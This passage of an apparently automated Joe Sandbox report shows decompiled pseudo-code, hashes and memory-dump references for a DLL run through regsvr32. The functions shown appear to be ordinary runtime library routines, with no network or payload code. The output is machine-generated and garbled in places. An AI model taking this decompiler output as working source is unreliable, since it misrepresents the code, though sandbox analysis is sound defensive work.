                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name$Path$FileLongModuleShortswprintf
                                                                                                        • String ID: .exe$.log$.scr
                                                                                                        • API String ID: 3889797788-4132639639
                                                                                                        • Opcode ID: 8c18a61cf65b09dabb44c53cbecfd401a0d6cf77a9be9b66f208ee175cfdae2d
                                                                                                        • Instruction ID: 5f86effc5756e9cf98b7ba152751614d57630c28b94be56b13a53b94719a8d5b
                                                                                                        • Opcode Fuzzy Hash: 8c18a61cf65b09dabb44c53cbecfd401a0d6cf77a9be9b66f208ee175cfdae2d
                                                                                                        • Instruction Fuzzy Hash: DA219371300B4D91EAA6DF12A5103E9B361FB49FC0F488036BE5A17756DE3DD2598380
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800627AC Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 61%
                                                                                                        			E000000011800627AC(void* __ebx, signed int __ecx, intOrPtr* __rax, long long __rbx, long long __rdx, void* __r10, char _a8, long long _a16, long long _a24, intOrPtr _a32) {
				void* _v72;
				long long _v80;
				signed int _v88;
				long long _v96;
				void* _v104;
				unsigned long long _v120;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				char _t142;
				void* _t152;
				void* _t156;
				void* _t162;
				char _t170;
				char _t171;
				signed int _t175;
				signed char _t178;
				void* _t198;
				void* _t199;
				void* _t200;
				unsigned int _t202;
				void* _t205;
				long long _t210;
				long long _t246;
				intOrPtr _t247;
				signed long long _t254;
				signed short* _t258;
				intOrPtr* _t260;
				char* _t263;
				signed long long _t278;
				void* _t280;
				unsigned long long _t285;
				void* _t286;
				signed long long _t291;
				signed long long _t292;
				unsigned long long _t293;
				signed short* _t295;
				signed short* _t301;
				signed short* _t303;
				unsigned long long _t307;
				signed long long _t309;
				char* _t311;
				char* _t312;
				char* _t313;
				signed long long _t314;

				_t273 = __rdx;
				_t162 = __ebx;
				_a24 = __rbx;
				_a16 = __rdx;
				r12d = r8d;
				if (r13d != 0xfffffffe) goto 0x800627ed;
				E0000000118005B334(r13d - 0xfffffffe, __rax);
				 *__rax = 0;
				E0000000118005B354(r13d - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x80062bde;
				if (__ecx < 0) goto 0x80062bc7;
				_t205 = r13d -  *0x800da420; // 0x40
				if (_t205 >= 0) goto 0x80062bc7;
				_t3 = _t285 + 1; // 0x1
				_t178 = _t3;
				_v80 = __rdx;
				_t291 = __ecx >> 6;
				_v88 = _t291;
				_t309 = __ecx + __ecx * 8;
				_t246 =  *((intOrPtr*)(0x800da020 + _t291 * 8));
				if (( *(_t246 + 0x38 + _t309 * 8) & _t178) == 0) goto 0x80062bc7;
				if (r12d - 0x7fffffff <= 0) goto 0x80062858;
				E0000000118005B334(r12d - 0x7fffffff, _t246);
				 *_t246 = 0;
				E0000000118005B354(r12d - 0x7fffffff, _t246);
				 *_t246 = 0x16;
				goto 0x80062bd9;
				if (r12d == 0) goto 0x80062bc3;
				if (( *(_t246 + 0x38 + _t309 * 8) & 0x00000002) != 0) goto 0x80062bc3;
				_t210 = __rdx;
				if (_t210 == 0) goto 0x80062841;
				r10d =  *((char*)(_t246 + 0x39 + _t309 * 8));
				_v96 =  *((intOrPtr*)(_t246 + 0x28 + _t309 * 8));
				_a8 = r10b;
				if (_t210 == 0) goto 0x800628ca;
				if (r10d - _t178 != _t178) goto 0x800628c2;
				if ((_t178 &  !r12d) != 0) goto 0x800628c2;
				E0000000118005B334(_t178 &  !r12d, _t246);
				 *_t246 = 0;
				E0000000118005B354(_t178 &  !r12d, _t246);
				 *_t246 = 0x16;
				E0000000118002594C();
				goto 0x80062a50;
				goto 0x80062948;
				if ((_t178 &  !r12d) == 0) goto 0x800628a6;
				_t198 =  <  ? 4 : r12d >> 1;
				E0000000118005B560(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t309 * 8)), __r10);
				_t263 = _t246;
				E0000000118005BBE0(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t309 * 8)));
				E0000000118005BBE0(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t309 * 8)));
				_t311 = _t263;
				if (_t263 != 0) goto 0x80062918;
				E0000000118005B354(_t263, _t246);
				 *_t246 = 0xc;
				E0000000118005B334(_t263, _t246);
				 *_t246 = 8;
				goto 0x80062a50;
				_t32 = _t273 + 1; // 0x1
				r8d = _t32;
				E000000011800753AC(4, _t246, _t263, _t280, _t285);
				_t292 = _v88;
				r10b = _a8;
				 *((long long*)( *((intOrPtr*)(0x800da020 + _t292 * 8)) + 0x30 + _t309 * 8)) = _t246;
				_t247 =  *((intOrPtr*)(0x800da020 + _t292 * 8));
				_v72 = _t311;
				r9d = 0xa;
				if (( *(_t247 + 0x38 + _t309 * 8) & 0x00000048) == 0) goto 0x800629da;
				_t142 =  *((intOrPtr*)(_t247 + 0x3a + _t309 * 8));
				if (_t142 == r9b) goto 0x800629da;
				if (_t198 == 0) goto 0x800629da;
				 *_t311 = _t142;
				_t199 = _t198 - 1;
				_t312 = _t311 + __rdx;
				 *((intOrPtr*)( *((intOrPtr*)(0x800da020 + _t292 * 8)) + 0x3a + _t309 * 8)) = r9b;
				if (r10b == 0) goto 0x800629da;
				_t170 =  *((intOrPtr*)( *((intOrPtr*)(0x800da020 + _t292 * 8)) + 0x3b + _t309 * 8));
				if (_t170 == r9b) goto 0x800629da;
				if (_t199 == 0) goto 0x800629da;
				 *_t312 = _t170;
				_t313 = _t312 + __rdx;
				_t200 = _t199 - 1;
				 *((intOrPtr*)( *((intOrPtr*)(0x800da020 + _t292 * 8)) + 0x3b + _t309 * 8)) = r9b;
				if (r10b != 1) goto 0x800629da;
				_t171 =  *((intOrPtr*)( *((intOrPtr*)(0x800da020 + _t292 * 8)) + 0x3c + _t309 * 8));
				if (_t171 == r9b) goto 0x800629da;
				if (_t200 == 0) goto 0x800629da;
				 *_t313 = _t171;
				_t314 = _t313 + __rdx;
				 *((intOrPtr*)( *((intOrPtr*)(0x800da020 + _t292 * 8)) + 0x3c + _t309 * 8)) = r9b;
				if (E00000001180070B1C(r13d,  *((intOrPtr*)(0x800da020 + _t292 * 8))) == 0) goto 0x80062a6e;
				_t254 =  *((intOrPtr*)(0x800da020 + _v88 * 8));
				if ( *((intOrPtr*)(_t254 + 0x38 + _t309 * 8)) - sil >= 0) goto 0x80062a6e;
				if (GetConsoleMode(??, ??) == 0) goto 0x80062a6e;
				if (_a8 != 2) goto 0x80062a73;
				_t202 = _t200 - 1 >> 1;
				r8d = _t202;
				_v120 = _t285;
				if (ReadConsoleW(??, ??, ??, ??, ??) != 0) goto 0x80062a62;
				E0000000118005B2C8(GetLastError(), 1, ReadConsoleW(??, ??, ??, ??, ??), _t254, _v96, _t285, _t292);
				E0000000118005BBE0(_t254, _t263);
				goto 0x80062be1;
				goto 0x80062aae;
				_v80 = sil;
				r8d = _t202;
				_v120 = _t285;
				if (ReadFile(??, ??, ??, ??, ??) == 0) goto 0x80062b8d;
				if (_a32 - r12d > 0) goto 0x80062b8d;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x800da020 + _v88 * 8)) + 0x38 + _t309 * 8)) - sil >= 0) goto 0x80062a53;
				_t293 = _t280 + _t254 * 2 + _a32;
				if (_a8 == 2) goto 0x80062af7;
				_t278 = _t314;
				_v120 = _t307 >> 1;
				_t152 = E00000001180062328(_t151, _t162, r13d, 0, _t263, _t278, _t286, _t293, _a16);
				goto 0x80062a53;
				if (_v80 == sil) goto 0x80062b7b;
				_t303 = _v72;
				_t258 = _t303;
				_t301 =  &(_t303[_t293 >> 1]);
				if (_t303 - _t301 >= 0) goto 0x80062b6e;
				_t175 =  *_t258 & 0x0000ffff;
				if (_t175 == 0x1a) goto 0x80062b5d;
				if (_t175 != 0xd) goto 0x80062b43;
				_t295 =  &(_t258[1]);
				if (_t295 - _t301 >= 0) goto 0x80062b43;
				if ( *_t295 != 0xa) goto 0x80062b43;
				r11d = 4;
				goto 0x80062b49;
				r11d = 2;
				 *_t303 = 0xa;
				if ( &(_t258[0xc006d010]) - _t301 < 0) goto 0x80062b1a;
				goto 0x80062b6e;
				_t260 =  *((intOrPtr*)(0x800da020 + _t278 * 8));
				 *(_t260 + 0x38 + _t309 * 8) =  *(_t260 + 0x38 + _t309 * 8) | 0x00000002;
				goto 0x80062a53;
				E00000001180062100(_t152, r13d, _t263, 0x800da020, _v72,  &(_t303[1]), 0x800da020);
				goto 0x80062af0;
				if (GetLastError() != 5) goto 0x80062bb3;
				E0000000118005B354(GetLastError() - 5, _t260);
				 *_t260 = 9;
				_t156 = E0000000118005B334(GetLastError() - 5, _t260);
				 *_t260 = 5;
				goto 0x80062a50;
				if (_t156 != 0x6d) goto 0x80062a49;
				goto 0x80062a53;
				goto 0x80062be1;
				E0000000118005B334(_t156 - 0x6d, _t260);
				 *_t260 = 0xa;
				E0000000118005B354(_t156 - 0x6d, _t260);
				 *_t260 = 9;
				return E0000000118002594C() | 0xffffffff;
			}
















































                                                                                                        0x1800627ac
                                                                                                        0x1800627ac
                                                                                                        0x1800627ac
                                                                                                        0x1800627b1
                                                                                                        0x1800627cb
                                                                                                        0x1800627d2
                                                                                                        0x1800627d4
                                                                                                        0x1800627db
                                                                                                        0x1800627dd
                                                                                                        0x1800627e2
                                                                                                        0x1800627e8
                                                                                                        0x1800627f1
                                                                                                        0x1800627f7
                                                                                                        0x1800627fe
                                                                                                        0x180062807
                                                                                                        0x180062807
                                                                                                        0x18006280d
                                                                                                        0x18006281c
                                                                                                        0x180062820
                                                                                                        0x180062825
                                                                                                        0x180062829
                                                                                                        0x180062832
                                                                                                        0x18006283f
                                                                                                        0x180062841
                                                                                                        0x180062846
                                                                                                        0x180062848
                                                                                                        0x18006284d
                                                                                                        0x180062853
                                                                                                        0x18006285b
                                                                                                        0x180062867
                                                                                                        0x18006286d
                                                                                                        0x180062870
                                                                                                        0x18006287a
                                                                                                        0x180062885
                                                                                                        0x18006288d
                                                                                                        0x180062897
                                                                                                        0x18006289b
                                                                                                        0x1800628a4
                                                                                                        0x1800628a6
                                                                                                        0x1800628ab
                                                                                                        0x1800628ad
                                                                                                        0x1800628b2
                                                                                                        0x1800628b8
                                                                                                        0x1800628bd
                                                                                                        0x1800628c8
                                                                                                        0x1800628d1
                                                                                                        0x1800628da
                                                                                                        0x1800628df
                                                                                                        0x1800628e6
                                                                                                        0x1800628e9
                                                                                                        0x1800628f0
                                                                                                        0x1800628f5
                                                                                                        0x1800628fb
                                                                                                        0x1800628fd
                                                                                                        0x180062902
                                                                                                        0x180062908
                                                                                                        0x18006290d
                                                                                                        0x180062913
                                                                                                        0x18006291d
                                                                                                        0x18006291d
                                                                                                        0x180062921
                                                                                                        0x180062926
                                                                                                        0x180062932
                                                                                                        0x180062943
                                                                                                        0x180062948
                                                                                                        0x18006294e
                                                                                                        0x180062953
                                                                                                        0x18006295f
                                                                                                        0x180062961
                                                                                                        0x180062969
                                                                                                        0x18006296d
                                                                                                        0x18006296f
                                                                                                        0x180062972
                                                                                                        0x180062978
                                                                                                        0x18006297d
                                                                                                        0x180062985
                                                                                                        0x18006298b
                                                                                                        0x180062993
                                                                                                        0x180062997
                                                                                                        0x180062999
                                                                                                        0x1800629a4
                                                                                                        0x1800629a7
                                                                                                        0x1800629a9
                                                                                                        0x1800629b1
                                                                                                        0x1800629b7
                                                                                                        0x1800629bf
                                                                                                        0x1800629c3
                                                                                                        0x1800629c5
                                                                                                        0x1800629d0
                                                                                                        0x1800629d5
                                                                                                        0x1800629e4
                                                                                                        0x1800629f6
                                                                                                        0x1800629ff
                                                                                                        0x180062a13
                                                                                                        0x180062a1d
                                                                                                        0x180062a2c
                                                                                                        0x180062a31
                                                                                                        0x180062a34
                                                                                                        0x180062a41
                                                                                                        0x180062a4b
                                                                                                        0x180062a56
                                                                                                        0x180062a5d
                                                                                                        0x180062a6c
                                                                                                        0x180062a6e
                                                                                                        0x180062a80
                                                                                                        0x180062a83
                                                                                                        0x180062a93
                                                                                                        0x180062aa1
                                                                                                        0x180062ac3
                                                                                                        0x180062acd
                                                                                                        0x180062ad0
                                                                                                        0x180062ae0
                                                                                                        0x180062ae6
                                                                                                        0x180062aeb
                                                                                                        0x180062af2
                                                                                                        0x180062aff
                                                                                                        0x180062b01
                                                                                                        0x180062b06
                                                                                                        0x180062b0c
                                                                                                        0x180062b13
                                                                                                        0x180062b1a
                                                                                                        0x180062b21
                                                                                                        0x180062b27
                                                                                                        0x180062b29
                                                                                                        0x180062b30
                                                                                                        0x180062b36
                                                                                                        0x180062b3b
                                                                                                        0x180062b41
                                                                                                        0x180062b43
                                                                                                        0x180062b4c
                                                                                                        0x180062b59
                                                                                                        0x180062b5b
                                                                                                        0x180062b64
                                                                                                        0x180062b68
                                                                                                        0x180062b76
                                                                                                        0x180062b83
                                                                                                        0x180062b88
                                                                                                        0x180062b96
                                                                                                        0x180062b98
                                                                                                        0x180062b9d
                                                                                                        0x180062ba3
                                                                                                        0x180062ba8
                                                                                                        0x180062bae
                                                                                                        0x180062bb6
                                                                                                        0x180062bbe
                                                                                                        0x180062bc5
                                                                                                        0x180062bc7
                                                                                                        0x180062bcc
                                                                                                        0x180062bce
                                                                                                        0x180062bd3
                                                                                                        0x180062bf8

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 3215553584-0
                                                                                                        • Opcode ID: 1465b786273a86bf51101c6865d1460dbaf29eca75e15f06ece6550c16a557d4
                                                                                                        • Instruction ID: f4eb0f032119855b5ba15e820ce0c92ef815350e8ea22db2e50237504ac8308d
                                                                                                        • Opcode Fuzzy Hash: 1465b786273a86bf51101c6865d1460dbaf29eca75e15f06ece6550c16a557d4
                                                                                                        • Instruction Fuzzy Hash: B8C1E232204F8D82EBA29F1598403EE3B92E788BC0F69D111FA5903795CFB9CA5DC711
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180078A50 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                        • String ID: CONOUT$
                                                                                                        • API String ID: 3230265001-3130406586
                                                                                                        • Opcode ID: cbbf1acf7db60fcdde1b3b0a3270f96393314e11f5b284114f328f57bec18d4a
                                                                                                        • Instruction ID: 22554950d8db84cf08abf8aaaa10338bf906e5f6f4ce51baabfd2ac337193971
                                                                                                        • Opcode Fuzzy Hash: cbbf1acf7db60fcdde1b3b0a3270f96393314e11f5b284114f328f57bec18d4a
                                                                                                        • Instruction Fuzzy Hash: 79116031310B8886E7918B56E854359A3B0F78CBE4F048315FE6A87BA4DF7DC6598744
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800288E8 Relevance: 9.2, APIs: 6, Instructions: 161COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E000000011800288E8(long long __rbx, signed short* __rcx, signed short** __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed int _t16;
				signed int _t23;
				signed int _t24;
				signed short _t25;
				void* _t35;
				signed short* _t36;
				signed short* _t39;
				signed short* _t42;
				signed short* _t47;
				void* _t56;
				signed short* _t63;

				_t35 = _t56;
				 *((long long*)(_t35 + 8)) = __rbx;
				 *((long long*)(_t35 + 0x10)) = __rbp;
				 *((long long*)(_t35 + 0x18)) = __rsi;
				 *((long long*)(_t35 + 0x20)) = __rdi;
				_t16 =  *__rcx & 0x0000ffff;
				if (_t16 == __rcx[0xc00621d2]) goto 0x80028932;
				if (_t16 != __rcx[0xc00621d6]) goto 0x800289cc;
				_t36 =  *__rdx;
				_t47 =  &(__rcx[1]);
				_t24 =  *_t36 & 0x0000ffff;
				 *__rdx =  &(_t36[1]);
				 *__rcx = _t24;
				if (_t47 != 6) goto 0x80028915;
				_t10 =  &(_t47[8]); // 0xe
				_t25 = _t10;
				_t39 =  &(( *__rdx)[0xffffffffffffffff]);
				 *__rdx = _t39;
				if (_t24 == 0) goto 0x8002896f;
				if ( *_t39 == _t24) goto 0x8002896f;
				E0000000118005B354( *_t39 - _t24, _t39);
				 *_t39 = _t25;
				E0000000118002594C();
				_t63 =  *__rdx;
				_t23 =  *_t63 & 0x0000ffff;
				 *__rdx =  &(_t63[1]);
				 *__rcx = _t23;
				if (_t23 == 0x28) goto 0x800289f8;
				_t42 =  &(( *__rdx)[0xffffffffffffffff]);
				 *__rdx = _t42;
				if (_t23 == 0) goto 0x800289a6;
				if ( *_t42 == _t23) goto 0x800289a6;
				E0000000118005B354( *_t42 - _t23, _t42);
				 *_t42 = _t25;
				E0000000118002594C();
				 *__rcx = 0;
				 *__rdx = _t63;
				return 4;
			}














                                                                                                        0x1800288e8
                                                                                                        0x1800288eb
                                                                                                        0x1800288ef
                                                                                                        0x1800288f3
                                                                                                        0x1800288f7
                                                                                                        0x180028915
                                                                                                        0x180028921
                                                                                                        0x18002892c
                                                                                                        0x180028932
                                                                                                        0x180028935
                                                                                                        0x180028939
                                                                                                        0x180028940
                                                                                                        0x180028943
                                                                                                        0x18002894a
                                                                                                        0x18002894f
                                                                                                        0x18002894f
                                                                                                        0x180028952
                                                                                                        0x180028956
                                                                                                        0x18002895c
                                                                                                        0x180028961
                                                                                                        0x180028963
                                                                                                        0x180028968
                                                                                                        0x18002896a
                                                                                                        0x18002896f
                                                                                                        0x180028972
                                                                                                        0x18002897a
                                                                                                        0x18002897d
                                                                                                        0x180028987
                                                                                                        0x180028989
                                                                                                        0x18002898d
                                                                                                        0x180028993
                                                                                                        0x180028998
                                                                                                        0x18002899a
                                                                                                        0x18002899f
                                                                                                        0x1800289a1
                                                                                                        0x1800289a6
                                                                                                        0x1800289a9
                                                                                                        0x1800289cb

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 3215553584-0
                                                                                                        • Opcode ID: 2d64f284971d34fc75c02c5a3751b2722c0f4179c7afd3f762059167d10e7c40
                                                                                                        • Instruction ID: 0a4d5899168f232e3dea9ba68696ef44d4241c47a00e6697f96b9c2e064ae623
                                                                                                        • Opcode Fuzzy Hash: 2d64f284971d34fc75c02c5a3751b2722c0f4179c7afd3f762059167d10e7c40
                                                                                                        • Instruction Fuzzy Hash: DC614F3650160985EBA3AF25D0513BC33A0EF58BB4F48C212F6A5477D5DF398A8AE316
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800286FC Relevance: 9.2, APIs: 6, Instructions: 157COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E000000011800286FC(long long __rbx, char* __rcx, long long* __rdx, long long __rdi, long long __rsi, void* __r8, long long _a8, long long _a16, long long _a24) {
				intOrPtr _t14;
				char _t21;
				char _t22;
				intOrPtr _t23;
				intOrPtr* _t32;
				intOrPtr* _t35;
				intOrPtr* _t38;
				void* _t43;
				long long _t56;

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t14 =  *((intOrPtr*)(__rcx));
				if (_t14 ==  *((intOrPtr*)(__rcx + 0x1800c4370))) goto 0x8002873d;
				if (_t14 !=  *((intOrPtr*)(__rcx + 0x1800c4374))) goto 0x800287c5;
				_t32 =  *((intOrPtr*)(__rdx));
				_t43 = __rcx + 1;
				_t22 =  *_t32;
				 *__rdx = _t32 + 1;
				 *__rcx = _t22;
				if (_t43 != 3) goto 0x80028723;
				_t9 = _t43 + 0x13; // 0x14
				_t23 = _t9;
				_t35 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t35;
				if (_t22 == 0) goto 0x80028773;
				if ( *_t35 == _t22) goto 0x80028773;
				E0000000118005B354( *_t35 - _t22, _t35);
				 *_t35 = _t23;
				E0000000118002594C();
				_t56 =  *((intOrPtr*)(__rdx));
				_t21 =  *_t56;
				 *__rdx = _t56 + 1;
				 *__rcx = _t21;
				if (_t21 == 0x28) goto 0x800287ee;
				_t38 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t38;
				if (_t21 == 0) goto 0x800287a4;
				if ( *_t38 == _t21) goto 0x800287a4;
				E0000000118005B354( *_t38 - _t21, _t38);
				 *_t38 = _t23;
				E0000000118002594C();
				 *__rcx = 0;
				 *__rdx = _t56;
				return 4;
			}












                                                                                                        0x1800286fc
                                                                                                        0x180028701
                                                                                                        0x180028706
                                                                                                        0x180028723
                                                                                                        0x18002872d
                                                                                                        0x180028737
                                                                                                        0x18002873d
                                                                                                        0x180028740
                                                                                                        0x180028743
                                                                                                        0x180028748
                                                                                                        0x18002874b
                                                                                                        0x180028751
                                                                                                        0x180028756
                                                                                                        0x180028756
                                                                                                        0x180028759
                                                                                                        0x18002875c
                                                                                                        0x180028761
                                                                                                        0x180028765
                                                                                                        0x180028767
                                                                                                        0x18002876c
                                                                                                        0x18002876e
                                                                                                        0x180028773
                                                                                                        0x180028776
                                                                                                        0x18002877d
                                                                                                        0x180028780
                                                                                                        0x180028788
                                                                                                        0x18002878a
                                                                                                        0x18002878d
                                                                                                        0x180028792
                                                                                                        0x180028796
                                                                                                        0x180028798
                                                                                                        0x18002879d
                                                                                                        0x18002879f
                                                                                                        0x1800287a4
                                                                                                        0x1800287a7
                                                                                                        0x1800287c4

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 3215553584-0
                                                                                                        • Opcode ID: 9a239e22495b8d515e3ab4e73973ce794f94b088e801fa4663dde307314e601d
                                                                                                        • Instruction ID: 2ff2398d489d90a7d80e0118f03c3e7975905205325127e71852c951bb6a08b2
                                                                                                        • Opcode Fuzzy Hash: 9a239e22495b8d515e3ab4e73973ce794f94b088e801fa4663dde307314e601d
                                                                                                        • Instruction Fuzzy Hash: 7851557A10A68C85E7E39F24D4603ED77A1AB49BC4F98C051E7C857386DE3D8A4ED312
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180019318 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 317COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 72%
                                                                                                        			E00000001180019318(void* __ecx, intOrPtr* __rcx, long long __rdx, void* __r8, void* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t157;
				intOrPtr _t158;
				intOrPtr _t160;
				void* _t179;
				intOrPtr _t195;
				intOrPtr _t200;
				void* _t201;
				signed long long _t239;
				signed long long _t240;
				signed char _t241;
				intOrPtr* _t243;
				long long _t245;
				long long _t253;
				intOrPtr* _t255;
				signed char* _t257;
				intOrPtr* _t269;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t293;
				signed long long _t294;
				long long _t303;
				long long _t304;
				intOrPtr* _t305;
				long long _t313;
				signed char* _t316;
				intOrPtr _t321;

				_t292 = _t293 - 0x88;
				_t294 = _t293 - 0x188;
				_t239 =  *0x800d81f8; // 0x68308725f9ca
				_t240 = _t239 ^ _t294;
				 *(_t292 + 0x70) = _t240;
				_t316 =  *((intOrPtr*)(_t292 + 0xf0));
				 *((long long*)(_t294 + 0x78)) = __rdx;
				_t257 = _t316;
				 *((long long*)(_t292 - 0x60)) =  *((intOrPtr*)(_t292 + 0x108));
				_t291 = __r9;
				 *((char*)(_t294 + 0x60)) = 0;
				E000000011800185AC(_t257, __r9, __r9);
				if ( *((intOrPtr*)(__r9 + 0x48)) == 0) goto 0x80019394;
				E00000001180018370(_t240);
				if ( *((intOrPtr*)(_t240 + 0x78)) != 0xfffffffe) goto 0x8001980d;
				goto 0x800193b3;
				E00000001180018370(_t240);
				if ( *((intOrPtr*)(_t240 + 0x78)) == 0xfffffffe) goto 0x800193b3;
				E00000001180018370(_t240);
				_t200 =  *((intOrPtr*)(_t240 + 0x78));
				E00000001180018370(_t240);
				 *((intOrPtr*)(_t240 + 0x78)) = 0xfffffffe;
				if (_t200 - 0xffffffff < 0) goto 0x8001980d;
				if (_t316[8] == 0) goto 0x800193f3;
				_t241 = _t257[0x1800c20a0];
				goto 0x800193f5;
				if (_t200 >= 0) goto 0x8001980d;
				if ( *__rcx != 0xe06d7363) goto 0x800194cd;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 4) goto 0x800194cd;
				if ( *((intOrPtr*)(__rcx + 0x20)) - 0x19930520 - 2 > 0) goto 0x800194cd;
				if ( *((long long*)(__rcx + 0x30)) != 0) goto 0x800194cd;
				E00000001180018370(_t241);
				if ( *((long long*)(_t241 + 0x20)) == 0) goto 0x800197ab;
				E00000001180018370(_t241);
				_t255 =  *((intOrPtr*)(_t241 + 0x20));
				E00000001180018370(_t241);
				 *((char*)(_t294 + 0x60)) = 1;
				E000000011800176B4(_t241,  *((intOrPtr*)(_t255 + 0x38)));
				if ( *_t255 != 0xe06d7363) goto 0x80019485;
				if ( *((intOrPtr*)(_t255 + 0x18)) != 4) goto 0x80019485;
				if ( *((intOrPtr*)(_t255 + 0x20)) - 0x19930520 - 2 > 0) goto 0x80019485;
				if ( *((long long*)(_t255 + 0x30)) == 0) goto 0x8001980d;
				E00000001180018370(_t241);
				if ( *(_t241 + 0x38) == 0) goto 0x800194cd;
				E00000001180018370(_t241);
				E00000001180018370(_t241);
				 *(_t241 + 0x38) =  *(_t241 + 0x38) & 0x00000000;
				if (E0000000118001B51C(_t241, _t255, _t255,  *(_t241 + 0x38), __r9) != 0) goto 0x800194c8;
				if (E0000000118001B60C(_t241, _t255,  *(_t241 + 0x38), __r9, _t292) == 0) goto 0x800197ef;
				goto 0x800197cb;
				E0000000118001A514(_t292 - 0x10, _t316,  *((intOrPtr*)(__r9 + 8)));
				if ( *_t255 != 0xe06d7363) goto 0x80019763;
				if ( *((intOrPtr*)(_t255 + 0x18)) != 4) goto 0x80019763;
				if ( *((intOrPtr*)(_t255 + 0x20)) - 0x19930520 - 2 > 0) goto 0x80019763;
				if ( *((intOrPtr*)(_t292 - 0x10)) <= 0) goto 0x80019748;
				 *((intOrPtr*)(_t294 + 0x28)) =  *((intOrPtr*)(_t292 + 0x100));
				 *(_t294 + 0x20) = _t316;
				r8d = _t200;
